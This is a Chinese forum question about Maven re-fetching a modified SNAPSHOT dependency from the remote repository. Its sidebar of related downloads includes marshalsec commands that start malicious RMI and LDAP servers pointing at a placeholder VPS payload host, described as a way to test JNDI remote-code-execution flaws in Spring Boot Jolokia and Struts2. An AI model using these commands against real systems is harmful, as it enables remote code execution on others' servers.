maven的使用:我从github上下载了一个带SNAPSHOT标记的包,又修改了它的部分代码,但是maven不认我的修改

bwangel bwangel 墨衍会员 · AI 创作全网分发 墨衍智能分发 通过墨衍一键同步至各平台 可同步平台 CSDN微信公众号微博知乎掘金百家号博客园抖音小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年,写一次发全网 我也要 + 加入社区
我修改了一个 版本为x.0.0-snapshot的包里的代码, 然后idea里调试,确实能进我修改的代码

但是我用mvn package打包时,mvn有时会从远端存储库重新拉一次原来的snapshot包,导致我修改的包失效。
网上说snapshot是快照,会随时检查更新。但我想要的是本地修改以后不再从网上重新down它的jar包。我需要时可以用git手动合并网上的修改,而保留我的改动。

这该怎么破?除了我手动改snapshot版本号,还有什么招吗?
...全文

相关推荐

利用github搭建个人maven仓库的方法步骤

主要介绍了利用github搭建个人maven仓库的方法步骤,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧

weixin_38748580

mybatis-3.4.1-SNAPSHOT.jar(源码通过maven生成)

1.名称:mybatis-3.4.1-SNAPSHOT.jar 2.来源:2016.06.17在github下载的mybatis源码通过maven编译生成,是当天最新的jar包,请知悉。 3.备注:mybatis开发用jar包,因为是SNAPSHOT快照版,建议开发用,生产最好用发布的正式版的。

wodediqizhang

marshalsec-0.0.3-SNAPSHOT-all.jar

Moritz Bechler编写,源码地址为:https://github.com/mbechler/marshalsec,下载下来之后使用maven编译,此工具为编译好的jar包,方便没有编译环境的同学们直接jar包开启ldap和rmi服务 开启rmi服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://VPS/ExportObject 1099 开启ldap服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS/ExportObject 1389 我使用这个来测试springboot jolokia的远程命令执行,也可以测试struts2 S系列的漏洞

qq_34258047

com.github.eclipsecolortheme.updatesite-1.1.0-SNAPSHOT.zip

eclipse color theme无法下载,自己从GitHub下载源码,用maven打包构建出来的包,可以直接用于安装

lastinglate

maven细节操作.docx

maven是一个比较成熟 java项目的管理工具,主要用来构建项目,依赖管理,项目的打包,测试.深度了解

PanYu——BJ
评论 7
收藏 已收藏
分享
返回顶部
bwangel
Java 51,407 成员 86,128 内容